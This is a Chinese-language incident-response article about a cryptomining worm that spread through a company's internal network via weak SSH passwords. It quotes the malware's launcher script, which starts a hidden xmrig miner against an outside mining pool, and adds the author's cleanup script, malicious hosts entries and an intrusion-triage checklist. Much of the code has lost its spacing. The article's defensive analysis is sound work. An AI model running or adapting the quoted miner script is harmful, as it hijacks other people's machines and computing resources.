首頁 > 軟體

一次內網挖礦病毒的應急響應

2021-02-24 09:09:06

一次內網挖礦病毒的應急響應

零、前言

前幾天公司的一臺虛擬機器CPU持續告警,IT週日發現了問題,後來發現是挖礦病毒並且已經在內網擴散了,安全小組立刻展開調查。因為網上文章對於挖礦在內網擴散怎麼解決的思路很少,所以才有了下面這篇文章。

一、背景

週一上午IT部門反饋內部伺服器疑似被攻擊,攻擊特徵為cpu利用率非常高,幾乎佔滿,懷疑被挖礦開始跟蹤分析。

二、過程

2.1、確定是否為攻擊

IT部門給了我一臺ip為192.168.5.3的伺服器讓我先做初步的分析,登上去後。首先通過top檢視伺服器,發現pid為1320,bash啟動的程式cpu佔用率高達4000%,進行檢視。先確定啟動程序的檔案位置為

/mnt/.bash/

,然後

kill -9

終止程序。

#下面的命令可以檢視PID為1320的程序是由哪個檔案啟動的。ls-l/proc/1320/exelrwxrwxrwx1rootroot0Jan2509:40/proc/1320/exe->/mnt/.bash/.bash/bash(deleted)#這裡的deleted表示啟動的檔案被刪除了

檢視目錄下都有什麼內容

[root@host2~]#lsabashbash3bash.pidccron.ddir.dirh32h64runstakstak3updxz

查看了run檔案的內容,其中內容如下,存在明顯的挖礦的特徵,確定為挖礦病毒

#!/bin/bash#下面的迴圈會刪除伺服器上所有cpu高於40%的服務,為自己的挖礦程式提供更多的cpu使用。#psaux|grep-vwxmr-stak|awk'{if($3>40.0)print$2}'|whilereadprocid#do#kill-9$procid#doneproc=`nproc`ARCH=`uname-m`HIDE="xmrig"#根據不同的架構啟動不同挖礦程式if["$ARCH"=="i686"];then./h32-s$HIDE./stak3/ld-linux.so.2--library-pathstak3stak3/xmrig-o188.166.218.65:54-acn/r-k>>/dev/null&elif["$ARCH"=="x86_64"];then./h64-s$HIDE./stak/ld-linux-x86-64.so.2--library-pathstakstak/xmrig-o188.166.218.65:54-k>>/dev/null&fiecho$!>bash.pid

2.2、明確自己要乾的事情

因為剛開始只拿到了一臺伺服器確定了問題,所以現在有兩個重要的事情需要同時去做。

找到攻擊的入口點並處理掉入口點的安全問題。確認內網擴散的影響,內網擴散的手段,並刪除內網擴散的挖礦病毒。所以我就開始一邊寫刪除挖礦病毒的臨時指令碼,一邊開始看伺服器的記錄,找到入口程式。下面我會將這兩件事分開來講,但是上面兩件事情是同步去做的。

2.3、編寫刪除挖礦指令碼的程式

為了徹底刪除挖礦指令碼,我們就要知道這個挖礦程式都幹了什麼事情。我先排查了定時任務,crontab -e編輯定時任務,剛發現挖礦程式在/mnt/.bash,所以又去看了另外一臺伺服器發現了/mnt/.cache所以可以確定這個定時任務就是挖礦病毒留下來的。

使用指令碼刪除定時任務,需要修改/var/spool/cron/或者/var/spool/cron/root這兩個檔案(centos和ubuntu有所不同),因為我們的伺服器大多數都是centos,所以我簡單判斷了一下作業系統版本。後面來自其他部門的多次反饋,確定了挖礦程式主要放在/mnt/.cache /mnt/.bash /tmp/.cache這三個目錄下,所以我們可以找到程序中哪些程序都是由這三個目錄中的檔案啟動的就殺掉,所以就寫好了下面的程式碼刪除挖礦程式通過排查,發現這個挖礦程式很簡單,我們只需要關注三點:

殺程序刪檔案刪定時任務這裡貼出來自己最後的程式碼,雖然很簡陋,甚至程式碼冗餘,但是確實最快速解決問題的方法了。

#!/bin/bashDIR_PATH="/mnt/.cache"FILE_PATH="/mnt/.cache/upd"CRON_FILE="/var/spool/cron/root"#判斷是不是ubuntuis_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)if[[is_ubuntu==1]];thenCRON_FILE="/var/spool/cron/crontabs/root"fi#殺程序pid_num=$(ls -l /proc/*/exe 2>&1| grep mnt/.bash | awk '{print $9}'| cut -f3 -d"/")if[ ! -z "$pid_num"];thenecho -e "33[31m正在kill隱藏程序,啟動目錄為/mnt/.bash33[0m"kill -9 $pid_numfipid_num2=$(ls -l /proc/*/exe 2>&1| grep mnt/.cache | awk '{print $9}'| cut -f3 -d"/")if[ ! -z "$pid_num2"];thenecho -e "33[31m正在kill隱藏程序,啟動目錄為/mnt/.cache33[0m"kill -9 $pid_num2fipid_num3=$(ls -l /proc/*/exe 2>&1| grep tmp/.bash | awk '{print $9}'| cut -f3 -d"/")if[ ! -z "$pid_num3"];thenecho -e "33[31m正在kill隱藏程序,啟動目錄為/tmp/.bash33[0m"kill -9 $pid_num3fipid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}'| cut -f1 -d"/")if[ ! -z "$pid_num4"];thenecho -e "33[31m正在kill隱藏程序,netstat 為206.81.29.25133[0m"kill -9 $pid_num4fiif[ -d "$DIR_PATH"];thenif[ -x "$FILE_PATH"];thenecho -e "33[31m該伺服器已中挖礦病毒,開始清除 33[0m"#清空 crontab中的惡意啟動項 sed -i '/.cache/upd/d'$CRON_FILE#刪除所有的檔案 rm -rf /mnt/.cache/ cron_num=$(crontab -l | grep /mnt/.cache | wc -l)if[[$cron_num==0]];thenecho -e "33[31mcrontab刪除成功 33[0m"fiif[ ! -x "$FILE_PATH"];thenecho -e "33[31m挖礦檔案刪除檔案 33[0m"fiecho -e "33[33m請儘快修改伺服器root使用者密碼為複雜密碼!!!!!不要使用admin123類似弱口令:33[0m"fifiDIR2_PATH="/mnt/.bash"FILE2_PATH="/mnt/.bash/upd"if[ -d "$DIR2_PATH"];thenif[ -x "$FILE2_PATH"];thenecho -e "33[31m該伺服器已中挖礦病毒,開始清除 33[0m"#清空 crontab中的惡意啟動項 sed -i '/.bash/upd/d'$CRON_FILE#刪除所有的檔案 rm -rf /mnt/.bash/ cron_num=$(crontab -l | grep /mnt/.bash | wc -l)if[[$cron_num==0]];thenecho -e "33[31mcrontab刪除成功 33[0m"fiif[ ! -x "$FILE2_PATH"];thenecho -e "33[31m挖礦檔案刪除檔案 33[0m"fiecho -e "33[33m請儘快修改伺服器root使用者密碼為複雜密碼!!!!!不要使用admin123類似弱口令:33[0m"fifiDIR3_PATH="/tmp/.bash"FILE3_PATH="/tmp/.bash/bash"if[ -d "$DIR3_PATH"];thenif[ -x "$FILE3_PATH"];thenecho -e "33[31m該伺服器已中挖礦病毒,開始清除 33[0m"#清空 crontab中的惡意啟動項 sed -i '/tmp/.bash/bash/d'$CRON_FILE#刪除所有的檔案 rm -rf /tmp/.bash/ cron_num=$(crontab -l | grep /tmp/.bash | wc -l)if[[$cron_num==0]];thenecho -e "33[31mcrontab刪除成功 33[0m"fiif[ ! -x "$FILE2_PATH"];thenecho -e "33[31m挖礦檔案刪除檔案 33[0m"fiecho -e "33[33m請儘快修改伺服器root使用者密碼為複雜密碼!!!!!不要使用admin123類似弱口令:33[0m"fifi

IT部門並不知道每臺伺服器和虛擬機器的密碼,我們雖然已經知道大部分都是弱口令的,但是也不知道那一臺是什麼樣子,所以最好的方法就是通知到所有伺服器的負責人,讓他們自己去清除。因為後續發現了挖礦程式內網擴散攻擊成功的列表,所以最後使用批量下發指令碼的程式去刪除所有的挖礦程式,效果非常好,到第二天只剩下一臺告警了。下圖為挖礦程式遺留的內網暴力破解成功的使用者密碼錶。

下圖為最後批量下發指令碼的截圖

2.4、查詢入口點

入口點找了很久,因為有的伺服器我們一時半會聯絡不到責任人,所以只能等著,等比人反饋問題給IT,IT反饋給我。我們主要通過幾個日誌檔案去做排查。

lastb > /home/lastb.loglast > /home/last.logcat /var/log/secure > /home/secure.log

從剛開始拿到手的幾臺失陷的機器的特徵可以判斷內網是通過ssh弱口令來擴散的。因為失陷的幾臺伺服器密碼都為123456,admin123,並且日誌中有大量登入失敗的記錄。後來我們發現所有的登入爆破都來自於192.168.111.67,但是這臺伺服器一直找不到責任人,最後我通過暴力破解弱口令登上了這臺伺服器,並且發現了入侵者的攻擊痕跡。在查詢入口點的過程中,我畫了簡單地攻擊拓撲圖,來方便我來確定最後的入口點。

最後通過大量的日誌可以確定攻擊者是十二月份就登陸了我們的一臺伺服器(這臺伺服器外網可以連線,並且存在大量測試賬號),而攻擊者卻沒有使用這臺伺服器,而是使用192.168.111.67對整個內網發起了攻擊。但是當我們登入到入口點那臺機器的時候,發現重要的日誌已經被刪除了,history記錄也沒有了,所以攻擊者已經很難找到。

三、整改

每次惡意攻擊事件的爆發都會暴露出企業安全存在的一些問題,於是我們針對此次攻擊做出了必要的整改。

禁止內網伺服器,虛擬機器使用弱口令。禁止mysql使用弱口令。通過定期伺服器弱口令掃描和大量的宣傳來防止事情的再次發生。確定外網可連線伺服器的責任人,任何從此伺服器弱口令相關的漏洞進來的問題,事後追責。網路隔離從此次問題發現我們主機部分都沒有安裝主機安全相關的軟體,所以需要主機安全的加固四、入侵排查整理

1. 定時任務排查

定時任務crontab是挖礦病毒都會用到的東西,所以定時任務一定要看。

crontab-l#列出所有的定時任務crontab-r#刪除所有的定時任務,可能會刪除我們自己的配置資訊,不推薦使用crontab-e#編輯crontab檔案

一些需要關注的定時任務檔案

/var/spool/cron/*#centos的/var/spool/cron/crontabs/*#ubuntu的/var/spool/anacron/*/etc/crontab/etc/anacrontab#非同步定時/etc/cron.hourly/*/etc/cron.daily/*/etc/cron.weekly//etc/cron.monthly/*

2. 使用者密碼

排查

/etc/passwd

stat/etc/passwd#檢視密碼檔案上一次修改的時間,如果最近被修改過,那就可能存在問題。cat/etc/passwd|grep-vnologin#檢視除了不可登入以外的使用者都有哪些,有沒有新增的cat/etc/passwd|grepx:0#檢視哪些使用者為root許可權,有沒有新增的cat/etc/passwd|grep/bin/bash#檢視哪些使用者使用shell

3. 匯出操作記錄

如果攻擊者沒有刪除造作記錄,我們可以從操作記錄中發現一些我們想要的東西

exportHISTTIMEFORMAT="%F %T `whoami` "#設定history顯示時間和使用者名history>/home/xxx/history.log

4. 日誌

日誌總是能發現一些蛛絲馬跡,所以日誌也同樣重要。存放在

/var/log

目錄下的東西都認真看一下

/var/log/secure#記錄安全相關的日誌,重點看一下/var/log/btmp#登陸失敗的日誌記錄lastb-fbtmp-2020xxxx#可以檢視過去的某個登入失敗記錄/var/log/wtmp#登陸成功的日誌記錄#wtmp和btmp只能使用last和lastb命令檢視,不能直接開啟看內容的。/var/log/yum.log#安裝記錄,我們可以看一下最近有沒有安裝一些特殊的依賴庫什麼的

5. 程序排查

top命令可以直接清除看到實施情況。psaux--sort=pcpu|head-10#檢視cpu佔用率前十的程序,有時候可以發現top發現不了的東西ls-l/proc/*/exe|grepxxx#如果我們知道惡意程式的啟動檔案大致位置,可以使用這個發現無檔案的惡意程序

6. 域名hosts

有一些挖礦程式會修改

/etc/hosts

檔案,請看一下其中內容是否被更改過前兩天在另外的項目組上發現的某個挖礦病毒就會修改hosts檔案這是從那臺伺服器上提取的一些惡意的配置內容

0.0.0.0aliyun.one0.0.0.0lsd.systemten.org0.0.0.0pastebin.com0.0.0.0pm.cpuminerpool.com0.0.0.0systemten.org

7.網路連線

有時候我們通過網路連線發現有些IP很可以,就可以通過ip找到程序發現問題。

netstat-antlp|grepx.x.x.x|awk'{print$7}'|cut-f1-d"/"#獲取存在某ip的程序id號

文章來源:先知社群

如涉及侵權請聯絡我們進行刪除。


IT145.com E-mail:sddin#qq.com